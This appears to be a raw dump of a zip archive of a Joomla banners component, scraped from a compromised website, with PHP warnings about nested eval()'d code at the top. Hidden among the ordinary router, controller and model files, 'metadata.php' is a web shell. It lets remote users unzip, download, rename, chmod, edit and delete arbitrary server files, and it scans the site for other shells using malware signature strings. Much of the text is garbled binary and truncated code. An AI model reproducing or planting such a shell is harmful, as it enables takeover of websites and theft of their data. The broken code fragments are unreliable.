Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
PK ULZ["²Ëç ç
router.phpnu W+A„¶ build($query);
}
function BannersParseRoute($segments)
{
$router = new BannersRouter;
return $router->parse($segments);
}
PK ULZ[¦V‰
index.htmlnu W+A„¶
PK ULZ[ÖHïép ép metadata.phpnu W+A„¶
';
foreach ($arr_files as $key)
{
$key_e = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $key);
echo $key_e.';'.filesize($key)."
\n";
}
echo '
';
exit;
}
?>
>";
foreach ($all_for_del as $each)
{
$each = strstr($each, '/');
$each = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
$each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
if (file_exists($each))
{
del_file($each);
if (!file_exists($each))
echo $each_for_echo." - removed"."\n";
else
echo $each_for_echo." - not removed"."\n";
}
else
echo $each_for_echo." - not found"."\n";
}
echo "<>";
exit;
}
function unzip_file($file)
{
$for_del = strrchr($file, '/');
$folder_to_save = str_replace($for_del, '', $file);
//set_time_limit(0);
$zip = new ZipArchive;
$zip->open($file);
$zip->extractTo($folder_to_save);
$zip->close();
echo "| File: $for_del - unzip successfully |
";
}
function read_file($file_name)
{
$list = $file_name;
if (file_exists($file_name) and (filesize($file_name)>1))
{
$file = fopen($list,"rt");
$arr_file = explode("\n",fread($file,filesize($list)));
fclose($file);
return $arr_file;
}
else
{
$arr_file = array();
return $arr_file;
}
}
function clear_folder($dir)
{
$d=opendir($dir);
while(($entry=readdir($d))!==false)
{
if ($entry != "." && $entry != "..")
{
if (is_dir($dir."/".$entry))
{
clear_folder($dir."/".$entry);
}
else
{
unlink ($dir."/".$entry);
}
}
}
closedir($d);
rmdir ($dir);
}
function only_read($file_name)
{
if (file_exists($file_name) and (filesize($file_name)>1))
{
if (!$file = fopen($file_name,"rt"))
{
if (!chmod($file_name, 0775))
{
echo 'can\'t permission for chmod file
';
$original_file = '';
}
else // чмоднули, пробуем еще раз открыть файл
{
if (!$file = fopen($file_name,"rt")) //
{
echo 'can\'t permission for open file
';
$original_file = '';
}
else
{
$original_file = fread($file,filesize($file_name));
fclose($file);
}
}
}
else
{
$original_file = fread($file,filesize($file_name));
fclose($file);
}
}
return $original_file;
}
function findshells($start)
{
global $arr_filename;
$files = array();
if (!$handle = opendir($start))
chmod($start, 0755);
$handle = opendir($start);
while(($file=readdir($handle))!==false)
{
if ($file!="." && $file !="..")
{
$startfile = $start."/".$file;
if (is_dir($startfile))
findshells($startfile);
else
{
$result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']);
if ($result == false)
$arr_filename[] = $startfile;
}
}
}
closedir($handle);
return $arr_filename;
}
if (isset ($_GET['unzip']))
{
unzip_file($_GET['unzip']);
}
if (isset ($_GET['finder']))
{
$domain = $_SERVER['SERVER_NAME'];
$script_path = $_SERVER['SCRIPT_NAME'];
$finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt";
$good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";;
$search_str = 'eval(base64_decode(';
$search_str2 = 'Array(base64_decode(';
$search_str3 = '@$isbot';
$search_str4 = '@require';
$search_str5 = 'eval(gzuncompress(base64_decode(';
$search_str6 = '@include "\x2';
$search_str7 = '$OO';
$search_str8 = 'cache=00';
$search_str9 = 'file_get_contents(\"../index.php\")"';
$search_str10 = 'is_uploaded_file';
$search_str11 = 'base64_decode($_POST';
$search_str12 = 'multipart/form-data';
if (!file_exists($finderdata_path))
{
$arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']);
$f = fopen ($finderdata_path, "a");
foreach ($arr_php_file as $each)
{
if ($each !== $_SERVER['SCRIPT_FILENAME'])
fwrite($f, $each."\n");
}
fclose($f);
if (file_exists($finderdata_path))
{
$redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
$redirect = 'http://'.$redirect.'?finder';;
?>
0)
echo count($all_path)." files for check
";
else
echo '| Finish! |
';
$for_check = read_file($finderdata_path);
if (file_exists($finderdata_path) and (filesize($finderdata_path)>1))
{
$redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
$redirect = 'http://'.$redirect.'?finder';;
?>
"."$each"." | ".get_filesize($each)." | $time | ".perms($each, '0')." | "."U "."E "."O "."D"." | ";
}
}
if (file_exists($finderdata_path))
unlink($finderdata_path);
if (file_exists($good_result_path))
unlink($good_result_path);
}
}
}
if (isset ($_GET['download']))
{
$file_for_save = $_GET['download'];
if (file_exists($file_for_save))
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file_for_save));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_for_save));
readfile($_GET['download']);
exit;
}
}
?>
1024)
{
$filesize = ($filesize/1024);
if($filesize > 1024)
{
$filesize = ($filesize/1024);
if($filesize > 1024)
{
$filesize = ($filesize/1024);
$filesize = round($filesize, 1);
return $filesize." gb";
}
else
{
$filesize = round($filesize, 1);
return $filesize." mb";
}
}
else
{
$filesize = round($filesize, 1);
return $filesize." kb";
}
}
else
{
$filesize = round($filesize, 1);
return $filesize." b";
}
}
function get_time($file)
{
if(!file_exists($file)) return "no info";
$last_update = filemtime($file);
$time = date('Y-m-d H:i:s', $last_update);
return $time;
}
function perms($filename, $check)
{
$perms = substr(decoct(fileperms($filename)), -3);
if ($perms == '644')
$color = 'green';
elseif ($perms == '755')
$color = '#2EC842';
elseif ($perms == '444')
$color = 'brown';
elseif ($perms == '000')
$color = 'red';
elseif ($perms == '744')
$color = 'orange';
elseif ($perms == '664')
$color = 'green';
else
$color = 'grey';
if ($check == 1)
return $perms;
else
return "".$perms."";
}
function CMS()
{
if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/')))
return "Joomla!";
elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/')))
return "WordPress";
else
return "Unknown";
}
function folder_separate($path)
{
$pos_end = strripos($path, '/');
$path2 = substr_replace($path, '', $pos_end, 99999);
return $path2;
}
function side_bar($make_file)
{
echo '';
echo "";
echo "";
echo "";
echo ' | ';
}
if (isset($_GET['rename']))
{
if (!empty($_POST ['n_name']))
{
if (rename($_GET['rename'], $_POST ['n_name']))
$message_rename = 'Name changed!';
else
$message_rename = 'Name can not be changed';
echo $message_rename;
}
}
function edit_file($file, $current)
{
if (!empty($_POST['chm']))
{
if ($_POST['chm'] == '0755')
{
if (chmod($file, 0755))
$message_chmod = 'Permission changed!';
else
$message_chmod = 'Unable change permission!';
}
elseif ($_POST['chm'] == '0444')
{
if (chmod($file, 0444))
$message_chmod = 'Permission changed!';
else
$message_chmod = 'Unable change permission!';
}
elseif ($_POST['chm'] == '0644')
{
if (chmod($file, 0644))
$message_chmod = 'Permission changed!';
else
$message_chmod = 'Unable change permission!';
}
else
$message_chmod = '0755
0444
0644
';
echo $message_chmod;
}
if (empty($_POST['new']))
{
$pos_end = strripos($file, '/');
$dir = substr_replace($file, '', $pos_end, 99999);
if (file_exists($file) and (filesize($file)>1))
{
if (!$fp = fopen ($file, "r"))
{
echo 'no have permission
';
$file_cont = 'can\'t show';
}
else
{
$file_cont = fread ($fp, filesize ($file));
fclose ($fp);
}
}
else
$file_cont = '';
$file_cont = str_replace ("
PK ULZ[rÚ˜u¥ ¥ banners.phpnu W+A„¶ execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
PK ULZ[ž’xÆ Æ controller.phpnu W+A„¶ input->getInt('id', 0);
if ($id)
{
$model = $this->getModel('Banner', 'BannersModel', array('ignore_request' => true));
$model->setState('banner.id', $id);
$model->click();
$this->setRedirect($model->getUrl());
}
}
}
PK ULZ[¦V‰ helpers/index.htmlnu W+A„¶
PK ULZ[:;°¡µ1 µ1 helpers/banners.phpnu W+A„¶
PK ULZ[ÓÎ G\ \ helpers/category.phpnu W+A„¶
PK ULZ[w£p¥ ¥ models/banners.phpnu W+A„¶ getState('filter.search');
$id .= ':' . $this->getState('filter.tag_search');
$id .= ':' . $this->getState('filter.client_id');
$id .= ':' . serialize($this->getState('filter.category_id'));
$id .= ':' . serialize($this->getState('filter.keywords'));
return parent::getStoreId($id);
}
/**
* Gets a list of banners
*
* @return array An array of banner objects.
* @since 1.6
*/
protected function getListQuery()
{
$db = $this->getDbo();
$query = $db->getQuery(true);
$ordering = $this->getState('filter.ordering');
$tagSearch = $this->getState('filter.tag_search');
$cid = $this->getState('filter.client_id');
$categoryId = $this->getState('filter.category_id');
$keywords = $this->getState('filter.keywords');
$randomise = ($ordering == 'random');
$nullDate = $db->quote($db->getNullDate());
$query->select(
'a.id as id,' .
'a.type as type,' .
'a.name as name,' .
'a.clickurl as clickurl,' .
'a.cid as cid,' .
'a.params as params,' .
'a.custombannercode as custombannercode,' .
'a.track_impressions as track_impressions,' .
'cl.track_impressions as client_track_impressions'
)
->from('#__banners as a')
->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid')
->where('a.state=1')
->where('(' . $query->currentTimestamp() . ' >= a.publish_up OR a.publish_up = ' . $nullDate . ')')
->where('(' . $query->currentTimestamp() . ' <= a.publish_down OR a.publish_down = ' . $nullDate . ')')
->where('(a.imptotal = 0 OR a.impmade <= a.imptotal)');
if ($cid)
{
$query->join('LEFT', '#__categories as cat ON a.catid = cat.id')
->where('a.cid = ' . (int) $cid)
->where('cl.state = 1');
}
// Filter by a single or group of categories
if (is_numeric($categoryId))
{
$type = $this->getState('filter.category_id.include', true) ? '= ' : '<> ';
// Add subcategory check
$includeSubcategories = $this->getState('filter.subcategories', false);
$categoryEquals = 'a.catid ' . $type . (int) $categoryId;
if ($includeSubcategories)
{
$levels = (int) $this->getState('filter.max_category_levels', '1');
// Create a subquery for the subcategory list
$subQuery = $db->getQuery(true);
$subQuery->select('sub.id')
->from('#__categories as sub')
->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt')
->where('this.id = ' . (int) $categoryId)
->where('sub.level <= this.level + ' . $levels);
// Add the subquery to the main query
$query->where('(' . $categoryEquals . ' OR a.catid IN (' . $subQuery->__toString() . '))');
}
else
{
$query->where($categoryEquals);
}
}
elseif ((is_array($categoryId)) && (count($categoryId) > 0))
{
JArrayHelper::toInteger($categoryId);
$categoryId = implode(',', $categoryId);
if ($categoryId != '0')
{
$type = $this->getState('filter.category_id.include', true) ? 'IN' : 'NOT IN';
$query->where('a.catid ' . $type . ' (' . $categoryId . ')');
}
}
if ($tagSearch)
{
if (count($keywords) == 0)
{
$query->where('0');
}
else
{
$temp = array();
$config = JComponentHelper::getParams('com_banners');
$prefix = $config->get('metakey_prefix');
foreach ($keywords as $keyword)
{
$keyword = trim($keyword);
$condition1 = "a.own_prefix=1 AND a.metakey_prefix=SUBSTRING(" . $db->quote($keyword) . ",1,LENGTH( a.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=1 AND cl.metakey_prefix=SUBSTRING(" . $db->quote($keyword) . ",1,LENGTH(cl.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=0 AND " . ($prefix == substr($keyword, 0, strlen($prefix)) ? '1' : '0');
$condition2 = "a.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'";
if ($cid)
{
$condition2 .= " OR cl.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'";
}
if ($categoryId)
{
$condition2 .= " OR cat.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'";
}
$temp[] = "($condition1) AND ($condition2)";
}
$query->where('(' . implode(' OR ', $temp) . ')');
}
}
// Filter by language
if ($this->getState('filter.language'))
{
$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
}
$query->order('a.sticky DESC,' . ($randomise ? 'RAND()' : 'a.ordering'));
return $query;
}
/**
* Get a list of banners.
*
* @return array
* @since 1.6
*/
public function getItems()
{
if (!isset($this->cache['items']))
{
$this->cache['items'] = parent::getItems();
foreach ($this->cache['items'] as &$item)
{
$parameters = new JRegistry;
$parameters->loadString($item->params);
$item->params = $parameters;
}
}
return $this->cache['items'];
}
/**
* Makes impressions on a list of banners
*
* @return void
* @since 1.6
*/
public function impress()
{
$trackDate = JFactory::getDate()->format('Y-m-d H');
$items = $this->getItems();
$db = $this->getDbo();
$query = $db->getQuery(true);
foreach ($items as $item)
{
// Increment impression made
$id = $item->id;
$query->clear()
->update('#__banners')
->set('impmade = (impmade + 1)')
->where('id = ' . (int) $id);
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
// track impressions
$trackImpressions = $item->track_impressions;
if ($trackImpressions < 0 && $item->cid)
{
$trackImpressions = $item->client_track_impressions;
}
if ($trackImpressions < 0)
{
$config = JComponentHelper::getParams('com_banners');
$trackImpressions = $config->get('track_impressions');
}
if ($trackImpressions > 0)
{
// is track already created ?
$query->clear()
->select($db->quoteName('count'))
->from('#__banner_tracks')
->where('track_type=1')
->where('banner_id=' . (int) $id)
->where('track_date=' . $db->quote($trackDate));
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
$count = $db->loadResult();
$query->clear();
if ($count)
{
// update count
$query->update('#__banner_tracks')
->set($db->quoteName('count') . ' = (' . $db->quote('count') . ' + 1)')
->where('track_type=1')
->where('banner_id=' . (int) $id)
->where('track_date=' . $db->quote($trackDate));
}
else
{
// insert new count
//sqlsrv change
$query->insert('#__banner_tracks')
->columns(
array(
$db->quoteName('count'), $db->quoteName('track_type'),
$db->quoteName('banner_id'), $db->quoteName('track_date')
)
)
->values('1, 1, ' . (int) $id . ', ' . $db->quote($trackDate));
}
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
}
}
}
}
PK ULZ[›åø6 6 models/banner.phpnu W+A„¶ getState('banner.id');
// update click count
$db = $this->getDbo();
$query = $db->getQuery(true)
->update('#__banners')
->set('clicks = (clicks + 1)')
->where('id = ' . (int) $id);
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
// track clicks
$item = $this->getItem();
$trackClicks = $item->track_clicks;
if ($trackClicks < 0 && $item->cid)
{
$trackClicks = $item->client_track_clicks;
}
if ($trackClicks < 0)
{
$config = JComponentHelper::getParams('com_banners');
$trackClicks = $config->get('track_clicks');
}
if ($trackClicks > 0)
{
$trackDate = JFactory::getDate()->format('Y-m-d H');
$query->clear()
->select($db->quoteName('count'))
->from('#__banner_tracks')
->where('track_type=2')
->where('banner_id=' . (int) $id)
->where('track_date=' . $db->quote($trackDate));
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
$count = $db->loadResult();
$query->clear();
if ($count)
{
// update count
$query->update('#__banner_tracks')
->set($db->quoteName('count') . ' = (' . $db->quote('count') . ' + 1)')
->where('track_type=2')
->where('banner_id=' . (int) $id)
->where('track_date=' . $db->quote($trackDate));
}
else
{
// insert new count
//sqlsrv change
$query->insert('#__banner_tracks')
->columns(
array(
$db->quoteName('count'), $db->quoteName('track_type'),
$db->quoteName('banner_id'), $db->quoteName('track_date')
)
)
->values('1, 2,' . (int) $id . ',' . $db->quote($trackDate));
}
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
}
}
/**
* Get the data for a banner.
*
* @return object
*/
public function &getItem()
{
if (!isset($this->_item))
{
$cache = JFactory::getCache('com_banners', '');
$id = $this->getState('banner.id');
$this->_item = $cache->get($id);
if ($this->_item === false)
{
// redirect to banner url
$db = $this->getDbo();
$query = $db->getQuery(true)
->select(
'a.clickurl as clickurl,' .
'a.cid as cid,' .
'a.track_clicks as track_clicks'
)
->from('#__banners as a')
->where('a.id = ' . (int) $id)
->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid')
->select('cl.track_clicks as client_track_clicks');
$db->setQuery($query);
try
{
$db->execute();
}
catch (RuntimeException $e)
{
JError::raiseError(500, $e->getMessage());
}
$this->_item = $db->loadObject();
$cache->store($this->_item, $id);
}
}
return $this->_item;
}
/**
* Get the URL for a banner
*
* @return string
*
* @since 1.5
*/
public function getUrl()
{
$item = $this->getItem();
$url = $item->clickurl;
// check for links
if (!preg_match('#http[s]?://|index[2]?\.php#', $url))
{
$url = "http://$url";
}
return $url;
}
}
PK ULZ["²Ëç ç
router.phpnu W+A„¶ PK ULZ[¦V‰
! index.htmlnu W+A„¶ PK ULZ[ÖHïép ép z metadata.phpnu W+A„¶ PK ULZ[rÚ˜u¥ ¥ Ÿz banners.phpnu W+A„¶ PK ULZ[ž’xÆ Æ | controller.phpnu W+A„¶ PK ULZ[¦V‰ ƒ helpers/index.htmlnu W+A„¶ PK ULZ[:;°¡µ1 µ1 ä helpers/banners.phpnu W+A„¶ PK ULZ[ÓÎ G\ \ ܱ helpers/category.phpnu W+A„¶ PK ULZ[u6‚øö ö |´ helpers/banner.phpnu W+A„¶ PK ULZ[¦V‰ ´· models/index.htmlnu W+A„¶ PK ULZ[w£p¥ ¥ ¸ models/banners.phpnu W+A„¶ PK ULZ[›åø6 6 û× models/banner.phpnu W+A„¶ PK ¸ rç